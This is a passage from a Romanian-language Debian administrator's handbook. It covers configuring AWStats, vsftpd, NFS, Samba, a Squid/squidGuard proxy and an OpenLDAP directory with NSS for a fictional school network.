Școlii Generale îl menține neschimbat în afară de următorii parametri:

LogFile="/var/log/apache2/access.log"
LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %
⮩ refererquot %uaquot"
SiteDomain="www.scoalagenerala.com"
HostAliases="scoalagenerala .com REGEX[^.*\.scoalagenerala \.com$]"
DNSLookup=1
LoadPlugin="tooltips"

Toți acești parametri sunt documentați prin comentarii în fișierul de șabloane. În special, parametrii LogFile
și LogFormat descriu locația și formatul fișierului jurnal și informațiile pe care le conține; SiteDomain și
HostAliases înșiră diverse nume sub care este cunoscut situl principal.
Pentru siturile cu trafic ridicat, DNSLookup nu ar trebui să fie de obicei setat pe 1; pentru situri mai mici, ca
cel al Școlii Generale descris mai sus, această setare permite obținerea de rapoarte mai lizibile care includ
nume complete ale mașinii în loc de adrese IP brute.

SECURITATE AWStats își pune statisticile la dispoziție pe situl web, fără restricții în mod implicit, dar restricțiile pot fi
Accesul la statistici configurate astfel încât doar câteva adrese IP (probabil interne) să le poată accesa; lista adreselor IP permise
trebuie definită în parametrul AllowAccessFromWebToFollowingIPAddresses.

AWStats va fi activat și pentru alte gazde virtuale; fiecare gazdă virtuală are nevoie de propriul fișier de
configurare, ca /etc/awstats/awstats.www.scoalagenerala.org.conf.

Exemplul 11.18 Fișier de configurare AWStats pentru o gazdă virtuală

Include "/etc/awstats/awstats.conf"
SiteDomain="www.scoalagenerala.org"

233
HostAliases="scoalagenerala.org"

AWStats folosește multe pictograme stocate în directorul /usr/share/awstats/icon/. Pentru ca aceste

pictograme să fie disponibile pe situl web, configurația Apache trebuie adaptată pentru a include următoarea
directivă:

Alias /awstats-icon/ /usr/share/awstats/icon/

După câteva minute (și după ce scriptul a fost rulat de câteva ori), rezultatele sunt disponibile online:
➨ http://www.scoalagenerala.com/cgi-bin/awstats.pl
➨ http://www.scoalagenerala.org/cgi-bin/awstats.pl

PRUDENȚĂ Pentru ca statisticile să țină cont de toate jurnalele, AWStats trebuie rulate chiar înainte de rotirea fișierelor de
Rotația fișierului jurnal jurnal Apache. Privind directiva prerotate a fișierului /etc/logrotate.d/apache2 acest lucru poate
fi rezolvat prin introducerea unui link simbolic în /usr/share/awstats/tools/update.sh în
/etc/logrotate.d/httpd-prerotate:
$ cat /etc/logrotate.d/apache2
/var/log/apache2/*.log {
daily
missingok
rotate 14
compress
delaycompress
notifempty
create 644 root adm
sharedscripts
postrotate
if invoke-rc.d apache2 status > /dev/null 2>&1; then \
invoke-rc.d apache2 reload > /dev/null 2>&1; \
fi;
endscript
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi; \
endscript
}

$ sudo mkdir -p /etc/logrotate.d/httpd-prerotate

$ sudo ln -sf /usr/share/awstats/tools/update.sh \
/etc/logrotate.d/httpd-prerotate/awstats
Rețineți că fișierele de jurnal create de logrotate trebuie să fie citite de toată lumea, în special de AWStats.
În exemplul de mai sus, acest lucru este asigurat de linia create 644 root adm (în loc de permisiunile
implicite 640.

11.3. Server de fișiere FTP

FTP (File Transfer Protocol) este unul dintre primele protocoale ale internetului (RFC 959 a fost emis în 1985!).
Acesta a fost folosit pentru a distribui fișiere înainte de a se naște Web (HTTP protoco a fost creat în 1990 și
definit în mod oficial în versiunea sa 1.0 de RFC 1945, emis în 1996).
Acest protocol permite atât încărcări de fișiere, cât și descărcări de fișiere; din acest motiv, este încă utilizat
pe scară largă pentru a implementa actualizări pe un sit web găzduit de furnizorul de servicii Internet (sau de
orice altă entitate care găzduiește situri web). În aceste cazuri, accesul securizat este aplicat cu un
identificator de utilizator și o parolă; la autentificarea cu succes, FTP server acordă acces de citire la directorul
principal al utilizatorului.
Alte FTP servers sunt utilizate în principal pentru a distribui fișiere pentru descărcare publică; Pachetele
Debian sunt un exemplu bun. Conținutul acestor este preluat de la alte server-e, situate geografic la distanță;
acesta este apoi pus la dispoziția utilizatorilor mai puțin îndepărtați. Aceasta înseamnă că nu este necesară
autentificarea clientului; în consecință, acest mod de operare este anonim, cunoscut sub numele de
“anonymous FTP”. Pentru a fi perfect corecți, clienții se autentifică cu numele de utilizator anonymous; parola
este adesea, prin convenție, adresa de e-mail a utilizatorului, dar server-ul o ignoră.
Multe FTP servers sunt disponibile în Debian (ftpd, proftpd-basic, pyftpd ș.a.m.d.). Administratorul Școlii
Generale a ales vsftpd deoarece folosește doar FTP server pentru a distribui câteva fișiere (inclusiv un depozit

234
de pachete Debian); din moment ce nu au nevoie de funcții avansate, au ales să se axeze pe aspectele de
securitate.
Instalarea pachetului creează un utilizator de sistem ftp. Acest cont este folosit întotdeauna pentru
conexiuni FTP anonime, iar directorul său de origine (/srv/ftp/) este rădăcina arborelui pusă la dispoziția
utilizatorilor care se conectează la acest serviciu. Configurația implicită (în /etc/vsftpd.conf) cere unele
modificări pentru a răspunde nevoii simple de a pune la dispoziție fișierele mari pentru descărcări publice:
accesul anonim trebuie activat (anonymous_enable=YES) și accesul doar-citire al utilizatorilor locali trebuie
să fie dezactivat (local_enable=NO). Acesta din urmă este deosebit de important, deoarece FTP protocol
nu folosește nicio formă de criptare și parola utilizatorului ar putea fi interceptată pe fir.

11.4. Server de fișiere NFS

NFS (Network File System) este un protocol care permite accesul la distanță la un sistem de fișiere prin rețea.
Toate sistemele Unix pot funcționa cu acest protocol.

CA\ SPECIFIC Atunci când sunt implicate variante mai vechi sau (așa-numitele) "Home” de Windows, de obicei trebuie utilizat
Microsoft Windows și NFS Samba (secțiunea 11.5. “Configurarea Windows Shares cu Samba” pagina 237) în locul NFS. Soluțiile moderne
Shares Windows Server și "Pro” sau "Enterprise” pentru desktop au totuși suport încorporat pentru NFS. După
instalarea componentelor "Servicii pentru NFS”, partajările NFS pot fi accesate și montate temporar sau
permanent ca orice altă partajare de rețea. Fiți conștienți de posibilele probleme de codificare în numele
fișierelor.
Ca alternativă, Debian poate fi instalat pe Windows 10 Pro și o versiune ulterioară. Necesită instalarea
componentei Windows Subsystem for Linux și a aplicației Debian din magazinul Windows.
➨ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS este un instrument foarte util, dar istoric a suferit de multe limitări, cele mai multe fiind abordate cu
versiunea 4 a protocolului. Dezavantajul este că cea mai recentă versiune a NFS este mai greu de configurat
atunci când doriți să utilizați caracteristici de securitate de bază, cum ar fi autentificarea și criptarea,
deoarece se bazează pe Kerberos pentru acele părți. Și fără acestea, protocolul NFS trebuie restrâns la o
rețea locală de încredere, deoarece datele trec peste rețeaua necriptată (un sniffer le poate intercepta) și
drepturile de acces sunt acordate pe baza adresei IP a clientului (care poate fi falsificată).

DOCUMENTAȚIE O documentație bună pentru a implementa NFSv4 este destul de rară. Iată câteva cu conținut de calitate diferită,
NFS HOWTO dar cel puțin ar trebui să dea câteva indicii cu privire la ceea ce ar trebui făcut.
➨ https://help.ubuntu.com/community/NFSv4Howto
➨ http://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Securizarea NFS

Dacă nu utilizați caracteristicile de securitate bazate pe Kerberos, este esențial să vă asigurați că numai
mașinile autorizate să utilizeze NFS se pot conecta la diversele RPC servers necesare, deoarece protocolul de
bază are încredere în datele primite din rețea. De asemenea, firewall-ul trebuie să blocheze IP spoofing
pentru a împiedica o mașină din exterior să acționeze ca una interioară, iar accesul la porturile
corespunzătoare trebuie să fie limitat la mașinile destinate să acceseze acțiunile NFS.

NOȚIUNI DE BAZĂ RPC (Remote Procedure Call) este standardul Unix pentru servicii remote. NFS este un astfel de serviciu.
RPC Serviciile RPC se înregistrează într-un director cunoscut sub numele de portmapper. Un client care dorește să
efectueze o interogare NFS se adresează mai întâi portmapper (pe port 111, fie TCP, fie UDP) și solicită NFS
server; răspunsul menționează de obicei port 2049 (implicit pentru NFS). Nu toate serviciile RPC folosesc în
mod necesar un port fix.

Versiunile mai vechi ale protocolului cereau alte servicii RPC care foloseau porturi alocate dinamic. Din
fericire, cu versiunea 4 a NFS, este nevoie doar de port 2049 (pentru NFS) și 111 (pentru portmapper) și astfel
sunt ușoare pentru firewall.

11.4.2. NFS server

NFS server face parte din Linux kernel; în cele furnizate de Debian este construit ca un modul de kernel. Dacă
NFS server trebuie rulat automat la pornire, pachetul nfs-kernel-server trebuie instalat;

235
conține scripturile de pornire relevante.
Fișierul de configurare a NFS server, /etc/exports, listează directoarele care sunt disponibile prin rețea
(exported). Pentru fiecare acțiune NFS, se oferă acces numai listei date de mașini. Cu ajutorul mai multor
opțiuni se pot face reglaje fine la controlul accesului. Sintaxa acestui fișier este destul de simplă:

/directory/to/share machine1(option1,option2,...) machine2(...) ...

Rețineți, cu NFSv4, toate directoarele exportate trebuie să facă parte dintr-o singură ierarhie și că directorul
rădăcină al ierarhiei respective trebuie să fie exportat și identificat cu opțiunea fsid=0 sau fsid=root.
Fiecare mașină poate fi identificată fie prin numele său DNS, fie prin adresa sa IP. Seturi întregi de mașini
pot fi de asemenea specificate folosind o sintaxă, cum ar fi *.scoalagenerala.com sau o gamă de
adrese IP cum ar fi 192.168.0.0/255.255.255.0 sau 192.168.0.0/24.
Directoarele sunt disponibile în mod implicit doar-citire (sau cu opțiunea ro). Opțiunea rw permite accesul la
citire-scriere. Clienții NFS se conectează de obicei dintr-un port restricționat la root (cu alte cuvinte, sub
1024); această restricție poate fi ridicată prin opțiunea insecure (opțiunea secure este implicită, dar poate
fi făcută explicită dacă este nevoie pentru claritate).
Implicit, server-ul răspunde la o interogare NFS doar când operațiunea curentă a discului este completă
(opțiunea sync): aceasta poate fi dezactivată cu opțiunea async. Scrierea asincronă mărește puțin
performanța, dar scade fiabilitatea, deoarece există un risc de pierdere a datelor în cazul în care cade server-
ul între confirmarea scrierii și scrierea reală pe disc. Deoarece valoarea implicită s-a modificat recent (în
comparație cu valoarea istorică a NFS), se recomandă o setare explicită.
Pentru a nu da acces root la sistemul de fișiere niciunui NFS client, toate întrebările care par să provină de la
un utilizator rădăcină sunt considerate de server ca provenind de la nobody. Acest comportament
corespunde opțiunii root_squash și este activat implicit. Opțiunea no_root_squash, care dezactivează
acest comportament, este riscantă și trebuie utilizată numai în medii controlate. Opțiunile anonuid=uid și
anongid=gid permit specificarea unui alt utilizator fals în locul UID/GID 65534 (care corespunde
utilizatorului nobody și group nogroup).
Cu NFSv4, puteți adăuga o opțiune sec pentru a indica nivelul de securitate pe care îl doriți: sec=sys este
implicit fără caracteristici speciale de securitate, sec=krb5 permite doar autentificarea, sec=krb5 și
adaugă protecție de integritate, iar sec=krb5p este cel mai complet nivel care include protecția vieții private
(cu criptarea datelor). Pentru ca acest lucru să funcționeze, aveți nevoie de o configurație Kerberos
funcțională (serviciul nu este acoperit de această carte).
Alte opțiuni disponibile; acestea sunt documentate în pagina de manual exports(5).

PRUDENȚĂ Scriptul de inițializare /etc/init.d/nfs-kernel-server pornește server-ul numai dacă

Prima instalare /etc/exports listează una sau mai multe partaje NFS valide. La configurația inițială, după ce acest fișier a
fost editat pentru a conține intrări valide, NFS server trebuie, prin urmare, să fie pornit cu următoarea comandă:
# service nfs-kernel-server start

11.4.3. Clientul NFS

Ca și în cazul altor sisteme de fișiere, integrarea unei cote NFS în ierarhia de sistem necesită montare.
Deoarece acest sistem de fișiere are particularitățile sale, au fost necesare câteva ajustări în sintaxele
comenzii mount și a fișierului /etc/fstab.

Exemplul 11.19 Montarea manuală cu comanda mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.scoalagenerala.com:/shared /srv/shared

Exemplul 11.20 Intrare NFS în fișierul /etc/fstab

arrakis.internal.scoalagenerala.com:/shared /srv/shared nfs4 rw,nosuid 0 0

Intrarea descrisă mai sus montează, la pornirea sistemului, directorul NFS, /shared/, din arrakis server în
directorul local /srv/shared/. Se solicită acces la citire-scriere (de aici parametrul rw). Opțiunea nosuid
este o măsură de protecție care șterge orice bit setuid sau setgid din programele stocate pe partajate.
Dacă NFS partajate este destinată doar stocării documentelor, o altă opțiune recomandată este noexec,

236
care împiedică executarea de programe stocate pe partajate. Rețineți că pe server, directorul shared se află
sub exportul rădăcinii NFSv4 (de exemplu, /export/shared), nu este un director de nivel superior.
Pagina de manual nfs(5) descrie, în câteva detalii, toate opțiunile.

11.5. Configurarea Windows Shares cu Samba

Samba este o suită de instrumente care gestionează SMB protocol (cunoscut și sub numele de “CIFS”) pe
Linux. Acest protocol este folosit de Windows pentru partajarea rețelei și imprimantele partajate.
De asemenea, Samba poate acționa ca un controller de domeniu Windows. Acesta este un instrument de
excepție pentru a asigura integrarea perfectă a Linux server și a mașinilor desktop de birou care rulează încă
Windows.

11.5.1. Samba server

Pachetul samba conține principalele două server-e ale Samba 4, smbd și nmbd.

DOCUMENTAȚIE Samba server este extrem de configurabil și versatil și poate aborda numeroase cazuri diferite de utilizare care
În detaliue se potrivesc cerințelor și arhitecturilor de rețea foarte diverse. Această carte se concentrează doar pe cazul în
care Samba este utilizat ca un server autonom, dar poate fi, de asemenea, un controler de domeniu NT4, un
controler de domeniu “Active Directory“ complet sau un simplu membru al unui domeniu existent (care ar
putea fi gestionat de un Windows Server).
Pachetul samba-doc conține toate manualele necesare în /usr/share/doc/samba-doc/examples/,o
multitudine de fișiere, ca exemplu, comentate. Dacă sunteți în căutarea unei documentații mai cuprinzătoare,
puteți consulta site-ul web Samba.
➨https://www.samba.org/samba/docs/

INSTRUMENT Winbind oferă administratorilor de sistem opțiunea de a utiliza un Windows server ca server de autentificare.
Autentificarea cu un Windows Winbind se integrează curat, frumos și cu PAM și NSS. Aceasta permite configurarea mașinilor Linux în care
server toți utilizatorii unui domeniu Windows primesc automat un cont.
Mai multe informații găsiți în directorul /usr/share/doc/samba-doc/examples/pam_winbind/,
al pachetului libpam-winbind.

11.5.1.1. Configurarea cu debconf

Pachetul stabilește o configurație minimă în timpul instalării inițiale, copiind în clar
/usr/share/samba/smb.conf. Dar, ar trebui să rulați dpkg-reconfigure samba-common cu
adevărat, pentru a-l adapta:
Prima informație necesară este numele grupului de lucru în care va aparține Samba server (răspunsul este
SCOALAGENERALANET în cazul nostru).
Pachetul propune, deopotrivă, identificarea WINS server din informațiile furnizate de DHCP daemon.
Administratorul Școlii Generale a respins această opțiune, deoarece intenționează să utilizeze chiar Samba
server, ca WINS server.

11.5.1.2. Configurare manuală

11.5.1.2.1. Schimbări în smb.conf

Necesitățile Școlii Generale cer modificarea altor opțiuni în fișierul de configurare /etc/samba/smb.conf.
Următoarele extrase rezumă modificările care au fost efectuate în secțiunea [global].

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
workgroup = SCOALAGENERALANET

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
wins support = yes ➊

237
[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible

# values are \"standalone server\", \"member server\", \"classic primary
# domain controller\", \"classic backup domain controller\", \"active
# directory domain controller\".
#
# Most people will want \"standalone sever\" or \"member server\".
# Running as \"active directory domain controller\" will require first
# running \"samba-tool domain provision\" to wipe databases and create a
# new domain.
server role = standalone server

# \"security = user\" is always a good idea. This will require a Unix account
# in this server for every user accessing the server.
security = user ➋

[...]

➊ Indică faptul că Samba ar trebui să acționeze ca un Netbios name server (WINS)

pentru rețeaua locală.
➋ Aceasta este valoarea implicită pentru acest parametru; cu toate acestea, întrucât este
fundamental pentru configurația Samba, completarea în mod explicit este recomandată. Fiecare
utilizator trebuie să se autentifice înainte de a accesa orice partajare.

11.5.1.2.2. Adăugarea utilizatorilor

Fiecare utilizator Samba are nevoie de un cont pe server; conturile Unix trebuie create mai întâi, apoi
utilizatorul trebuie să fie înregistrat în baza de date Samba. Pasul Unix se face în mod normal (folosind
adduser de exemplu).
Adăugarea unui utilizator existent la baza de date Samba este o problemă de execuție a comenzii
smbpasswd -a user; această comandă solicită parola în mod interactiv.
Un utilizator poate fi șters cu comanda smbpasswd
-x user. Un cont Samba poate fi de asemenea
dezactivat temporar (cu smbpasswd -d user) și reactivat ulterior (cu smbpasswd -e user).

11.5.2. Clientul Samba

Caracteristicile Samba client permit unei mașini Linux să acceseze partajarea Windows și imprimantele
partajate. Programele necesare sunt disponibile în pachetele cifs-utils și smbclient.

11.5.2.1. Programul smbclient

Programul smbclient solicită SMB server. Acceptă o opțiune -U user pentru conectarea la server sub o
identitate specifică. smbclient //server/share accesează partajarea într-un mod interactiv similar cu
FTP client în linie de comandă. smbclient -L server listează toate partajele disponibile (și vizibile) pe un
server.

11.5.2.2. Montarea Windows Shares

Comanda mount permite montarea unui Windows share în ierarhia sistemului de fișiere Linux (cu ajutorul
mount.cifs oferit de cifs-utils).

Exemplul 11.24 Montarea unei Partajări Windows

mount -t cifs //arrakis/shared /shared \

-o credentials=/etc/smb-credentials

Fișierul /etc/smb-credentials (care nu trebuie să fie citit de utilizatori) are următorul format:

username = user

238
password = password

Alte opțiuni pot fi specificate în linia de comandă; lista lor completă este disponibilă pe pagina de manual
mount.cifs(1). Două opțiuni, în special, pot fi interesante: uid și gid permit să forțeze proprietarul și grupul
de fișiere disponibile pe montare, pentru a nu restricționa accesul la root.
O montare a unei Windows share poate fi, de asemenea, configurată în /etc/fstab:
//server/shared /shared cifs credentials=/etc/smb-credentials

Demontarea SMB/CIFS share se face cu comanda standard umount.

11.5.2.3. Tipărirea pe o imprimantă partajată

CUPS este o soluție elegantă pentru imprimarea de pe o stație de lucru Linux la o imprimantă partajată de o
mașină Windows. Când este instalat smbclient, CUPS permite instalarea automată a imprimantelor partajate
Windows.
Iată pașii necesari:
• Intrați in interfața de configurare CUPS: http://localhost:631/admin
• Faceți clic pe “Add Printer”.
• Alegeți dispozitivul de imprimantă, selectați ”Windows Printer via SAMBA”.
• Introduceți URI de conectare pentru imprimanta de rețea. Ar trebui să arate astfel:
smb://user:password@server/printer.
• Introduceți numele care va identifica în mod unic această imprimantă. Apoi introduceți descrierea și
locația imprimantei. Acestea sunt șirurile care vor fi afișate utilizatorilor finali pentru a-i ajuta să
identifice imprimantele.
• Indicați producătorul/modelul imprimantei sau furnizați direct un fișier cu descrierea imprimantei
funcționale (PPD).
Și iată, imprimanta este operațională!

11.6. HTTP/FTP proxy

Un HTTP/FTP proxy acționează ca un intermediar pentru conexiunile HTTP și/sau FTP. Rolul său este dublu:
• Caching: documentele descărcate recent sunt copiate local, ceea ce evită mai multe descărcări.
• Filtering server: dacă utilizarea proxy-ului este mandatată (iar conexiunile de ieșire sunt blocate dacă
nu trec prin proxy), atunci proxy-ul poate determina dacă cererea trebuie sau nu acordată.
Școala Generală a selectat Squid ca proxy server.

11.6.1. Instalarea
Pachetul Debian squid13 conține doar proxy modular (caching). Transformarea acestuia într-un server de filtrare
necesită instalarea pachetului suplimentar squidguard. În plus, squid-cgi oferă o interfață de interogare și
administrare pentru un Squid proxy.
Înainte de instalare, trebuie să aveți grijă să verificați dacă sistemul își poate identifica complet propriul
nume: hostname -f trebuie să returneze un nume complet calificat (inclusiv un domeniu). Dacă nu, fișierul
/etc/hosts ar trebui editat pentru a conține numele complet al sistemului (de exemplu,
arrakis.scoalagenerala.com). Numele oficial al computerului ar trebui validat cu administratorul de
rețea pentru a evita potențialele conflicte de nume.

11.6.2. Configurarea unui cache

Activarea funcției de caching server este o simplă problemă de editare a fișierului de configurare
/etc/squid3/squid.conf și de a permite mașinilor din rețeaua locală să ruleze interogări prin proxy.
Următorul exemplu arată modificările aduse de administratori:

Exemplul 11.25 Fișierul (extras) /etc/squid3/squid.conf

13Pachetul squid3, care oferă Squid până la Debian Jessie, este acum un pachet de tranziție și va instala automat squid.

239
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#
include /etc/squid/conf.d/*

# Example rule allowing access from your local networks.

# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks
http_access allow localhost
# And finally deny all other access to this proxy
http_access deny all

11.6.3. Configurarea unui filtru

squid în sine nu face filtrarea; această acțiune este delegată lui squidGuard. Primul trebuie apoi
configurat pentru a interacționa cu cel de-al doilea. Aceasta implică adăugarea următoarei directive în fișierul
/etc/squid3/squid.conf:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid3/squidGuard.conf

Programul CGI, /usr/lib/cgi-bin/squidGuard.cgi trebuie de asemenea instalat, folosind

/usr/share/doc/squidguard/examples/squidGuard.cgi.gz, ca punct de plecare. Modificările
necesare acestui script sunt variabilele $proxy și $proxymaster (numele proxy și respectiv e-mail-ul de
contact al administratorului). Variabilele $image și $redirect ar trebui să indice imaginile existente care
reprezintă respingerea unei interogări.
Filtrul este activat cu comanda service squid3 reload. Cu toate acestea, deoarece pachetul
squidguard nu face filtrare în mod implicit, este sarcina administratorului să definească politica. Acest lucru
se poate realiza prin crearea fișierului /etc/squid3/squidGuard.conf (folosind
/etc/squidguard/squidGuard.conf.default ca șablon, dacă este necesar).
Baza de date de lucru trebuie regenerată cu update-squidguard după fiecare modificare a fișierului de
configurare squidGuard (sau una dintre listele de domenii sau URL-uri pe care le menționează). Sintaxa
fișierului de configurare este documentată pe următorul web site:
➨ http://www.squidguard.org/Doc/configure.html
ALTERNATIVĂ Pachetul dansguardian este o alternativă la squidguard. Acest software nu se ocupă pur și simplu de o listă
E2guardian (DansGuardian neagră de adrese URL interzise, dar poate profita de sistemul PICS14 (Platform for Internet Content Selection)
Fork) pentru a decide dacă o pagină este acceptabilă prin analiza dinamică a conținutului acesteia.

11.7. Directorul LDAP

OpenLDAP este o implementare a LDAP protocol; cu alte cuvinte, este o bază de date cu scop special
concepută pentru stocarea directoarelor. În cazul cel mai obișnuit, utilizarea unui LDAP server permite
centralizarea gestionării conturilor de utilizator și a permisiunilor aferente. Mai mult, o bază de date LDAP
este ușor de replicat, ceea ce permite configurarea mai multor LDAP server sincronizate. Când rețeaua și
baza de utilizatori crește rapid, încărcarea poate fi apoi echilibrată pe mai multe server-e.
Datele LDAP sunt structurate și ierarhizate. Structura este definită prin “schemas” care descriu tipul de
obiecte pe care baza de date le poate stoca, cu o listă a tuturor atributelor posibile ale acestora. Sintaxa
folosită pentru a face referire la un anumit obiect din baza de date se bazează pe această structură, ceea ce
lămurește complexitatea acesteia.

11.7.1. Instalarea
Pachetul slapd conține OpenLDAP server. Pachetul ldap-utils include instrumente de linie de comandă pentru
interacțiunea cu LDAP servers.

14PICS a fost înlocuit de Protocol for Web Description Resources (sistemul POWDER: https://www.w3.org/2009/08/pics_superseded.html.)

240
Instalarea slapd de obicei pune foarte puține întrebări, iar baza de date rezultată este puțin probabil să se
potrivească nevoilor voastre. Din fericire, un simplu dpkg-reconfigure slapd vă va permite să
reconfigurați baza de date LDAP cu mai multe detalii:
• Omitem configurația OpenLDAP server? Nu, desigur, vrem să configurăm acest serviciu.
• Numele Domeniului DNS: “scoalagenerala.com”.
• Namele organizației : “scoalagenerala”.
• Trebuie introdusă o parolă administrativă.
• Baza de date Backend de folosit: “MDB”.
• Doriți ca baza de date să fie eliminată atunci când slapd este curățată? Nu. Nu are rost să riscați să
pierdeți baza de date în caz de greșeală.
• Mutați baza de date veche? Această întrebare este pusă doar atunci când configurația este
încărcată în timp ce există deja o bază de date. Răspundeți doar “da” dacă de fapt doriți să începeți
din nou de la o bază de date curată, de exemplu, dacă rulați dpkg-reconfigure slapd imediat
după instalarea inițială.

NOȚIUNI DE BAZĂ Un fișier LDIF (LDAP Data Interchange Format) este un fișier text portabil care descrie conținutul
Formatul LDIF unei baze de date LDAP (sau o porțiune a acesteia); acest lucru poate fi apoi utilizat pentru a injecta
datele în orice alt LDAP server.

Acum este configurată o bază de date minimă, așa cum se arată în următoarea interogare:

$ ldapsearch -x -b dc=scoalagenerala,dc=com
# extended LDIF
#
# LDAPv3
# base <dc=scoalagenerala,dc=com> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# scoalagenerala.com
dn: dc=scoalagenerala,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Școala Generala
dc: scoalagenerala

# admin, scoalagenerala.com
dn: cn=admin,dc=scoalagenerala,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

# search result
search: 2
result: 0 Success

# numResponses: 3
# numEntries: 2

Interogarea a returnat două obiecte: organizația însăși și utilizatorul administrativ.

11.7.2. Completarea în director

Întrucât o bază de date goală nu este utilă în mod deosebit, vom injecta în ea toate directoarele existente;
aceasta include bazele de date ale utilizatorilor, grupurilor, serviciilor și gazdelor.
Pachetul migrationtools oferă un set de scripturi dedicate extragerii datelor din directoarele standard Unix
(/etc/passwd, /etc/group, /etc/services, /etc/hosts ș.a.m.d.), transformă aceste date și le
injectează în baza de date LDAP.
Odată ce pachetul este instalat, /etc/migrationtools/migrate_common.ph trebuie editat; opțiunile
IGNORE_UID_BELOW și IGNORE_GID_BELOW trebuie să fie activate (decomentarea lor este suficientă) și
DEFAULT_MAIL_DOMAIN/DEFAULT_BASE trebuie să fie actualizată.
Operația de migrare reală este gestionată de comanda migrate_all_online.sh, după cum urmează:

241
# cd /usr/share/migrationtools
# LDAPADD=\"/usr/bin/ldapadd -c\" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh pune câteva întrebări despre baza de date LDAP în care vor fi migrate datele.
Tabelul 11.1 pagina 242 rezumă răspunsurile date în cazul utilizării la Școala Generală.

Question Answer
X.500 naming context dc=scoalagenerala,dc=com
LDAP server hostname localhost
Manager DN cn=admin,dc=scoalagenerala,dc=com
Bind credentials the administrative password
Create DUAConfigProfile no

Tabelul 11.1 Răspunsuri la întrebările adresate de scriptul migrate_all_online.sh

Ignorăm în mod deliberat migrația fișierului /etc/aliases deoarece schema standard furnizată de Debian
nu include structurile pe care acest script le folosește pentru a descrie alias-urile de e-mail. Dacă dorim să
integrăm aceste date în director, fișierul /etc/ldap/schema/misc.schema ar trebui adăugat la schema
standard.

INSTRUMENT Comanda jxplorer (în pachetul cu același nume) este un instrument grafic care ne permite să răsfoim și să
Navigarea într-un director edităm o bază de date LDAP. Este un instrument interesant care oferă unui administrator o bună imagine de
LDAP ansamblu a structurii ierarhice a datelor LDAP.

De asemenea, rețineți utilizarea opțiunii -c la comanda ldapadd; această opțiune solicită ca procesarea să
nu se oprească în caz de eroare. Utilizarea acestei opțiuni este necesară, deoarece conversia
/etc/services generează adesea câteva erori care pot fi ignorate în siguranță.

11.7.3. Gestionarea conturilor cu LDAP

Acum, baza de date LDAP conține câteva informații utile, a venit momentul să folosim aceste date. Această
secțiune se concentrează asupra modului de configurare a unui sistem Linux, astfel încât diferitele directoare
de sistem să utilizeze baza de date LDAP.

11.7.3.1. Configurarea NSS

Sistemul NSS (Name Service Switch, vedeți bara laterală “NSS și baze de date de sistem” pagina 144) este un sistem
modular conceput pentru a defini sau a obține informații pentru directoarele de sistem. Utilizarea LDAP ca
sursă de date pentru NSS necesită instalarea pachetului libnss-ldap. Instalarea sa pune câteva întrebări;
răspunsurile sunt rezumate în Tabelul 11.2 pagina 242.

Question Answer
LDAP server Uniform Resource Identifier ldap://ldap.scoalagenerala.com
Distinguished name of the search base dc=scoalagenerala,dc=com
LDAP version to use 3
LDAP account for root cn=admin,dc=scoalagenerala,dc=com
LDAP root account password administrative password
Allow LDAP admin account behave like local root? yes
Does the LDAP database require login? no

Tabelul 11.2 Configurarea pachetului libnss-ldap

Fișierul /etc/nsswitch.conf trebuie apoi modificat, astfel încât să configureze NSS pentru a utiliza
modulul ldap proaspăt instalat. Puteți utiliza exemplul furnizat în
/usr/share/doc/libnss-ldap/examples/nsswitch.ldap, sau puteți edita configurația existentă.

242
 Exemplul 11.23 Fișierul /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $

#
# An example file that could be copied over to /etc/nsswitch.conf; it
# uses LDAP conjunction with files.
#
# "hosts:" and "services:" in this file are used only if the
# /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports.

# the following lines obviate the "+" entry in /etc/passwd and /etc/group.
passwd: files ldap
shadow: files ldap
group: files ldap

# consult DNS first, we will need it to resolve the LDAP host. (If we
# can't resolve it, we're in infinite recursion, because libldap calls
# gethostbyname(). Careful!)
hosts: dns ldap

# LDAP is nominally authoritative for the following maps.

services: ldap [NOTFOUND=return] files
networks: ldap [NOTFOUND=return] files
protocols: ldap [NOTFOUND=return] files
rpc: ldap [NOTFOUND=return] files
ethers: ldap [NOTFOUND=return] files

# no support for netmasks, bootparams, publickey yet.

netmasks: files
bootparams: files
publickey: files
automount: files

# I'm pretty sure nsswitch.conf is consulted directly by sendmail,

# here, so we can't do much here. Instead, use bbense's LDAP
# rules ofr sendmail.
aliases: files
sendmailvars: files

# Note: there is no support for netgroups on Solaris (yet)

netgroup: ldap [NOTFOUND=return] files

Modulul ldap este de obicei introdus înaintea celorlalte și prin urmare, va fi interogat mai întâi. Excepția
notabilă este serviciul hosts deoarece contactarea LDAP server necesită mai întâi consultarea DNS (pentru
rezolvarea ldap.scoalagenerala.com). Fără această excepție, o interogare a numelui gazdă ar încerca
să ceară LDAP server; acest lucru ar declanșa o rezoluție de nume pentru LDAP server și așa mai departe
într-o buclă infinită.
Dacă LDAP server trebuie considerat autorizat (iar fișierele locale utilizate de modulul files nu sunt luate în
considerare), serviciile pot fi configurate cu următoarea sintaxă a fișierelor:
service: ldap [NOTFOUND=return].
Dacă intrarea solicitată nu există în baza de date LDAP, interogarea va returna o răspuns “not existing” chiar
dacă resursa există într-unul dintre fișierele locale; aceste fișiere locale vor fi utilizate numai atunci când
serviciul LDAP este dezactivat.

11.7.3.2. Configurarea PAM

Această secțiune descrie o configurație PAM;
